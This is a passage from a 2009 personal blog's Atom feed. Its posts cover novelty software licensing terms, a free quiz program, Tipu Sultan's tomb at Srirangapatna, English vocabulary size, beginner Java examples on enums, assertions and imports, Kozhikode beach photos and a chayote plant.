payware.&lt;br /&gt;&lt;br /&gt;Shareware (also called &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;demoware&lt;/span&gt; or &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;trialware&lt;/span&gt;) refers to software &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;thats&lt;/span&gt; distributed without payment on a trial basis and is limited by any combination of functionality, availability, or convenience.Crippleware is a type of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;trialware&lt;/span&gt; which requires payment for access to advanced features of the program. Nagware (also known as &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;begware&lt;/span&gt; or annoyware) is type of shareware that reminds(or nags) the user to register by paying a fee.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Careware)"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Careware&lt;/span&gt;&lt;/a&gt; (also called &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;charityware&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;helpware&lt;/span&gt;, or &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;goodware&lt;/span&gt;) is software distributed in a way that benefits a charity.The term "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;careware&lt;/span&gt;" is a variant on shareware and freeware. Similar to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;careware&lt;/span&gt; is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;Donationware&lt;/span&gt; is a licensing model that supplies fully operational software to the user and requests a donation be paid to the programmer or a third-party beneficiary(usually a non-profit).&lt;br /&gt;&lt;br /&gt;Freeware is software given away for free(without any cost) use without any limitations.A donation might be requested by few authors.&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;Adware&lt;/span&gt; is advertising supported software that automatically shows advertisements to the users.Most &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;adware&lt;/span&gt; are considered a security threat and are not popular.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;Firefox&lt;/span&gt; distributed with Google search bar can be considered a type of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;adware&lt;/span&gt; as google ends up earning from the ads displayed to users using the google search bar.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;Ransomware&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;spyware&lt;/span&gt; are other &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;softwares&lt;/span&gt; that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;dont&lt;/span&gt; have any explicit distribution terms, but make use of illegal methods to delete/obtain sensitive data.&lt;br /&gt;&lt;br /&gt;The author of the holy &lt;a href="http://www.theholyrosary.org/download.html"&gt;rosary program&lt;/a&gt; went a step further and declared his software as &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;Prayware&lt;/span&gt;.The software is free for use,the users can however pray for the author as payment. Do let me know if you know of any other more novel software distribution terms.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5073014029212918484?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5073014029212918484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5073014029212918484' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5073014029212918484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5073014029212918484'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/03/novelty-software-distribution-terms.html' title='Novelty software distribution terms'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-1468920448017212449</id><published>2009-03-14T20:56:00.000-07:00</published><updated>2009-03-14T21:12:59.933-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='software'/><title type='text'>Software program to make a Quiz - multiple choice</title><content type='html'>If you want to create a quiz with multiple choice questions, the &lt;a href="http://www.luziusschneider.com/QuizHome.htm"&gt;Quiz &lt;/a&gt;program by&lt;a href="http://www.luziusschneider.com/"&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Luzius&lt;/span&gt; Schneider &lt;/a&gt;seems to do the job. The program is free to use as long as we are &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;OK&lt;/span&gt; to share the questionnaires we create using the software. &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/Quiz_maker_free.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 635px; height: 414px;" src="http://webnadu.googlepages.com/Quiz_maker_free.jpg" alt="" border="0" /&gt;&lt;/a&gt;The program makes use of the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Borland&lt;/span&gt; Database engine to easily store and retrieve the questions. There are options to set time limits, provide hints about the answer  and even further &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;explanations&lt;/span&gt; for an answer if you are &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;interested&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Quiz also has few shareware upgradations which run on the network, a intranet or even the internet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-1468920448017212449?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/1468920448017212449/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=1468920448017212449' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1468920448017212449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1468920448017212449'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/03/software-program-to-make-quiz-multiple.html' title='Software program to make a Quiz - multiple choice'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-1715037461338658634</id><published>2009-03-14T07:30:00.000-07:00</published><updated>2009-03-14T07:39:59.476-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysore'/><title type='text'>Tipu Sultan's Tomb - Gumbaz Srirangapatna</title><content type='html'>Gumbaz is the tomb and mosque built by  Tipu Sultan as a tribute to his illustrious father, Hyder Ali (1722-1784 A.D.), after his death.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/Gumbaz.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 259px; height: 194px;" src="http://webnadu.googlepages.com/Gumbaz.JPG" alt="Gumbaz srirangapatna" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The Gumbaz is situated at the eastern extreme of Srirangapatna. It enshrines the cenotaphs of Hyder Ali,his wife Fakr-Un_Nisa and Tipu Sultan, after his death in 1799 A.D. It is built on a stone plinth, with polished black granite pillars that run along the corridor around the inner chamber.A magnificent dome crowns the building. The chamber is painted with the tiger stripes that were associated with Tipu.&lt;br /&gt;&lt;br /&gt;The structure, laid out amidst a garden, typical of Islamic architecture, also houses the Masjid-E-Aksa.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/Gumbaz_dome.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 259px; height: 194px;" src="http://webnadu.googlepages.com/Gumbaz_dome.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;At the eastern entrance of the Mausoleum is a tablet in Persian script that speaks of the martyrdom of Tipu Sultan in 1799 A.D.&lt;br /&gt;&lt;br /&gt;There are numerous other cenotaphs of the relatives of Tipu's family.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-1715037461338658634?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/1715037461338658634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=1715037461338658634' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1715037461338658634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1715037461338658634'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/03/tipu-sultans-tomb-gumbaz-srirangapatna.html' title='Tipu Sultan&apos;s Tomb - Gumbaz Srirangapatna'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5284211000573613999</id><published>2009-03-07T09:01:00.000-08:00</published><updated>2009-03-07T09:21:08.451-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>When the English language runs out of words</title><content type='html'>The &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;English&lt;/span&gt; language is reported to have as many as 500,000 words based on major &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;publicised&lt;/span&gt; dictionaries. If  various technical words are included the number grows to 1,500,000 words. With the growth of the &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;Internet&lt;/span&gt; the number of words that are being coined and used is growing everyday. So the day when we literally run out words to describe things will arrive.&lt;br /&gt;&lt;br /&gt;Although the debate over the &lt;a href="http://en.wikipedia.org/wiki/Longest_word_in_English"&gt;longest &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;English&lt;/span&gt; word &lt;/a&gt;still continues, we could probably say that words longer 20 letters are difficult to use in normal speech. Considering the words to be maximum of 20 characters long a total of 26 to the power of 20 words can be made. (26 to the power of 20 = 1.99281489 × 10 to the power of 28. So we have more than enough words in &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;English&lt;/span&gt; Language to last a few centuries?? Or will we out grow this number by discovering or inventing those many new things to describe? Time will tell if we &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_5"&gt;Will&lt;/span&gt; have to add more characters to the English Language.&lt;br /&gt;&lt;br /&gt;Probably we will resort to using numbers along with the alphabets before actually going on to create new alphabets. So a word like "10potato" might mean an &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;actual&lt;/span&gt; word that has no connection whatsoever to a potato as we know it today.&lt;br /&gt;&lt;br /&gt;Linguists may argue that humans would rather add few more alphabets to a language than use such long words. However, based on the way the lanuage is going to be used in the future, we may not add more alphabets but actually use long words which are cross-referenced in huge online dictionaries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5284211000573613999?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5284211000573613999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5284211000573613999' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5284211000573613999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5284211000573613999'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/03/when-english-language-runs-out-of-words.html' title='When the English language runs out of words'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-6544764375575701225</id><published>2009-02-02T03:08:00.000-08:00</published><updated>2009-02-02T03:09:49.785-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple Java Program to understand enum basics</title><content type='html'>/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Simple Java Program to understand enum basics&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;*/&lt;br /&gt;enum Cars{ESCORT,FIAT,ALTO,ZEN}&lt;br /&gt;class EnumExample{&lt;br /&gt;&lt;br /&gt;public static void main(String args[]){&lt;br /&gt;&lt;br /&gt;Cars oldest = Cars.FIAT;&lt;br /&gt;System.out.println(oldest);&lt;br /&gt;&lt;br /&gt;for(Cars c :Cars.values())&lt;br /&gt;System.out.println(c);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output of enum example&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;javac EnumExample.java&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;java EnumExample&lt;br /&gt;FIAT&lt;br /&gt;ESCORT&lt;br /&gt;FIAT&lt;br /&gt;ALTO&lt;br /&gt;ZEN&lt;br /&gt;&lt;br /&gt;*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-6544764375575701225?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/6544764375575701225/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=6544764375575701225' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/6544764375575701225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/6544764375575701225'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/02/simple-java-program-to-understand-enum.html' title='Simple Java Program to understand enum basics'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-1104429401581641945</id><published>2009-01-25T23:14:00.000-08:00</published><updated>2009-01-25T23:15:22.791-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple Java Program that uses my assertion</title><content type='html'>/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Simple Java Program that uses my assertion&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;class MyAssertionExample{&lt;br /&gt;&lt;br /&gt;static boolean myassertionenabled;//default value is false&lt;br /&gt;static void myassert (boolean b){&lt;br /&gt;if(myassertionenabled &amp;amp; !b){&lt;br /&gt;throw new AssertionError();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public static void main(String args[]){&lt;br /&gt;&lt;br /&gt;try{&lt;br /&gt;if (args[0].equals("ea")){&lt;br /&gt;myassertionenabled=true;}&lt;br /&gt;}catch(ArrayIndexOutOfBoundsException AE){}//dont throw exception if no arguments are passed&lt;br /&gt;int a=1;&lt;br /&gt;try{&lt;br /&gt;myassert(a==2);//value of 'a' should be 2, else throw an assertion exception error&lt;br /&gt;}catch(AssertionError E){&lt;br /&gt;System.out.println("Value of a is not equal to 2 and assertion is enabled");&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output of AssertionExample with assertions enabled&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;javac MyAssertionExample.java&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;java MyAssertionExample ea&lt;br /&gt;Value of a is not equal to 2 and assertion is enabled&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output of AssertionExample with assertions not enabled&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;java MyAssertionExample&lt;br /&gt;&lt;br /&gt;*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-1104429401581641945?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/1104429401581641945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=1104429401581641945' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1104429401581641945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1104429401581641945'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/01/simple-java-program-that-uses-my.html' title='Simple Java Program that uses my assertion'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7309145805843170898</id><published>2009-01-25T23:13:00.000-08:00</published><updated>2009-01-25T23:14:39.674-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple Java Program to understand assertions</title><content type='html'>/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Simple Java Program to understand assertions&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;class AssertionExample{&lt;br /&gt;&lt;br /&gt;public static void main(String args[]){&lt;br /&gt;&lt;br /&gt;int a=1;&lt;br /&gt;try{&lt;br /&gt;assert(a==2);//value of 'a' should be 2, else throw an assertion exception error&lt;br /&gt;}catch(AssertionError E){&lt;br /&gt;System.out.println("Value of a is not equal to 2 and assertion is enabled");&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output of AssertionExample with assertions enabled&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;javac AssertionExample.java&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;java -ea AssertionExample&lt;br /&gt;Value of a is not equal to 2 and assertion is enabled&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output of AssertionExample with assertions not enabled&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;java AssertionExample&lt;br /&gt;&lt;br /&gt;*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7309145805843170898?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7309145805843170898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7309145805843170898' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7309145805843170898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7309145805843170898'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/01/simple-java-program-to-understand.html' title='Simple Java Program to understand assertions'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2900578227460148870</id><published>2009-01-18T08:15:00.000-08:00</published><updated>2009-01-18T08:16:09.796-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple java program to understand class imports</title><content type='html'>/*---------------------------------------------------------------------------------------&lt;br /&gt;Simple java program to understand class imports&lt;br /&gt;---------------------------------------------------------------------------------------*/&lt;br /&gt;import javaprogs.basic.*;&lt;br /&gt;import javaprogs.packagexamples.*;&lt;br /&gt;import javaprogs.packagexamples.car;&lt;br /&gt;&lt;br /&gt;class carexample{&lt;br /&gt;&lt;br /&gt;public static void main(String args[]){&lt;br /&gt;int j =2;&lt;br /&gt;&lt;br /&gt;car fiat = new car();&lt;br /&gt;fiat.setnumberoftyres(j);&lt;br /&gt;fiat.displaynumberoftyres();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Output of program to understand class imports&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;ambiguous reference&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;The output before adding the line "import javaprogs.packagexamples.car;"&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents&gt;javac carexample.java&lt;br /&gt;carexample.java:12: reference to car is ambiguous, both class javaprogs.packagex&lt;br /&gt;amples.car in javaprogs.packagexamples and class javaprogs.basic.car in javaprog&lt;br /&gt;s.basic match&lt;br /&gt;car fiat = new car();&lt;br /&gt;^&lt;br /&gt;carexample.java:12: reference to car is ambiguous, both class javaprogs.packagex&lt;br /&gt;amples.car in javaprogs.packagexamples and class javaprogs.basic.car in javaprog&lt;br /&gt;s.basic match&lt;br /&gt;car fiat = new car();&lt;br /&gt;               ^&lt;br /&gt;2 errors&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;The output after adding the line "import javaprogs.packagexamples.car;"&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents&gt;javac carexample.java&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents&gt;java carexample&lt;br /&gt;Number of tyres is:3&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;The output if the line "import javaprogs.basic.car;" was added instead of the line "import javaprogs.packagexamples.car;"&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents&gt;javac carexample.java&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents&gt;java carexample&lt;br /&gt;Number of tyres is:2&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;The car class inside "javaprogs.packagexamples" package&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;package javaprogs.packagexamples;&lt;br /&gt;&lt;br /&gt;public class car{&lt;br /&gt;&lt;br /&gt;private int numberoftyres;&lt;br /&gt;&lt;br /&gt;public void setnumberoftyres(int i){&lt;br /&gt;&lt;br /&gt;numberoftyres=i+1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void displaynumberoftyres(){&lt;br /&gt;System.out.println("Number of tyres is:"+numberoftyres);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;The car class inside "javaprogs.basic" package&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;package javaprogs.basic;&lt;br /&gt;&lt;br /&gt;public class car{&lt;br /&gt;&lt;br /&gt;private int numberoftyres;&lt;br /&gt;&lt;br /&gt;public void setnumberoftyres(int i){&lt;br /&gt;&lt;br /&gt;numberoftyres=i;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public void displaynumberoftyres(){&lt;br /&gt;System.out.println("Number of tyres is:"+numberoftyres);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2900578227460148870?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2900578227460148870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2900578227460148870' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2900578227460148870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2900578227460148870'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/01/simple-java-program-to-understand-class.html' title='Simple java program to understand class imports'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2350918437684605622</id><published>2009-01-17T04:13:00.000-08:00</published><updated>2009-01-17T04:33:52.620-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kerala'/><title type='text'>Khozhikode beach</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/Khozikhode_beach.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 557px; height: 292px;" src="http://webnadu.googlepages.com/Khozikhode_beach.JPG" alt="kozhikode beach" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;The Beach&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/kozhikode_calicut_railway_station.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 557px; height: 292px;" src="http://webnadu.googlepages.com/kozhikode_calicut_railway_station.JPG" alt="kozhikode railway station" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;The beach is near the railway station&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/Calicut_beach_birds.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 557px; height: 292px;" src="http://webnadu.googlepages.com/Calicut_beach_birds.JPG" alt="calicut beach" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2350918437684605622?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2350918437684605622/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2350918437684605622' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2350918437684605622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2350918437684605622'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/01/khozhikode-beach.html' title='Khozhikode beach'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-3035905760935169177</id><published>2009-01-03T21:42:00.000-08:00</published><updated>2009-01-03T21:59:28.794-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='garden'/><title type='text'>Conjoined twins in plant kingdom?</title><content type='html'>&lt;a href="http://webnadu.googlepages.com/conjoined_twins_in_plant.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 339px; CURSOR: hand; HEIGHT: 474px; TEXT-ALIGN: center" alt="conjoined twins" src="http://webnadu.googlepages.com/conjoined_twins_in_plant.jpg" border="0" /&gt;&lt;/a&gt; The "seme badne kaye" or "Seemae BaDhneKayi ", literally border brinjal has developed in a fascinating fashion. Its know as Chow chow vegetable or choyote or Christophene. It is a cucurbit related to the gourds and 